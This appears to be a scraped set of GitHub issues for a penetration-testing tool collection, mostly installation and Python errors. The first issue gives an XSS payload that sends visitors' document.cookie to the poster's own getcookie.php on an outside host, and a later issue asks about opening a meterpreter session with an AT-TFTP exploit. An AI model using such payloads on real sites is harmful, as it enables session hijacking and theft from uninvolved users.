jivoi / pentest Goto Github PK

I'm doing an ethical hacking test, I tested an XSS payload : <script>alert("xss")</script> on a website, and the pop-up appears, so I want to collect user cookie

I created a getcookie.php file and a cookies.txt file and and I uploaded both files to a hosting server,
I placed the two files in the htdocs folder, which now contains index.html, getcookie.php and a cookies.txt

This is the getcookie.php file:

When I try this in the search box: : <script>document.location="http://website.com/getcookie.php?c="+document.cookie;</script>

I get this URL:
https://website2/search/?section=all&query=<script>document.location="http:SLASHSLASHwebsite.comSLASHgetcookie.php?c="+document.cookie;&path=SLASH

and I don't see any cookies in cookies.txt

What am I doing wrong, please? I've tried lot of payloads in the past 3 days but no results,
when I type http://website.com/getcookie.php in a new tab, I get the cookie but it's empty, I get this text : Cookie:

Thank you

I'm getting this error when I'm running your code:

Install the following library to make this script work
Impacket : http://oss.coresecurity.com/projects/impacket.html
PyCrypto : http://www.amk.ca/python/code/crypto.html

Before, it's working fine on my Kali. However, when I installed the latest Impacket (https://github.com/CoreSecurity/impacket), I started getting that error. Any way I could fix this? Thanks!

All of the Python Files with underscore in the name will cause the terminal do this

File "/home/REDACTED/offsecfw/mix_ping_sweep.py", line 18
print "\nUsage: mix_ping_sweep.py \n"
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?

That why I'm manually renaming all of the .py files that have underscore in there name: mix_ping_sweep.py --> mix-ping-sweep.py
Hopefully That will fix the issue :)

When I run the python mix_recon.py script, I get the output:

Traceback (most recent call last):
File "mix_recon.py", line 22, in
import reconf
ImportError: No module named reconf

Can you tell me how I can correct this?

I tried "easy_install reconfg", but I'm still getting the same error.

Thanks

When attempting to perform any UDP scans, the page just stays blank? Any ideas?

• Linux Server.

Getting an error when I run setup.py

# ./enumeration/setup.py                                                                                                                                                  (master) 
[*] Installing missing NSE scripts...
Traceback (most recent call last):
  File "./enumeration/setup.py", line 58, in <module>
    nsescript = "%s/%s" % (reconf.nsepth, nsefile)
AttributeError: 'module' object has no attribute 'nsepth'

Should include a note in the installation to clone this under the /root/ directory, since that path is hard coded into the port scan script. I had cloned this to my desktop and the port scan couldn't find the required files.

Hello,

When i try to execute the script, I get this error:

File "/home/kali/Downloads/Tool/pentest-master/mix_port_scan.sh", line 3
function usage {
^
SyntaxError: invalid syntax

Could you help me?

Hello,

When running ./setup.py from /offsecfw/enumeration I get the following error

Traceback (most recent call last):
File "./setup.py", line 11, in
installed_packages = pip.get_installed_distributions()
AttributeError: 'module' object has no attribute 'get_installed_distributions'

There is no requirements.txt file to install.

Please advise?

Hi,

I would like to ask you just one ,probably obvious, question about this exploit.
( sorry but I've experience in programming since a year but newbie in pentesting )
I've tried to read your article here ( http://netsec.ws/?p=262 ) and you said at the end this things:

1. Install AT-TFTP v1.9 on target machine. OK clear.
   2.Disable any firewall. Ok clear.
   3.Put metasploit listening.Ok clear.
   4.Run the python script with the right arguments. Ok clear.

My question is:

• to open the meterpreter session is necessary to run the AT-TFTP v1.9 exe file on target machine right?
  I don't understand this thing.

Thx in advance.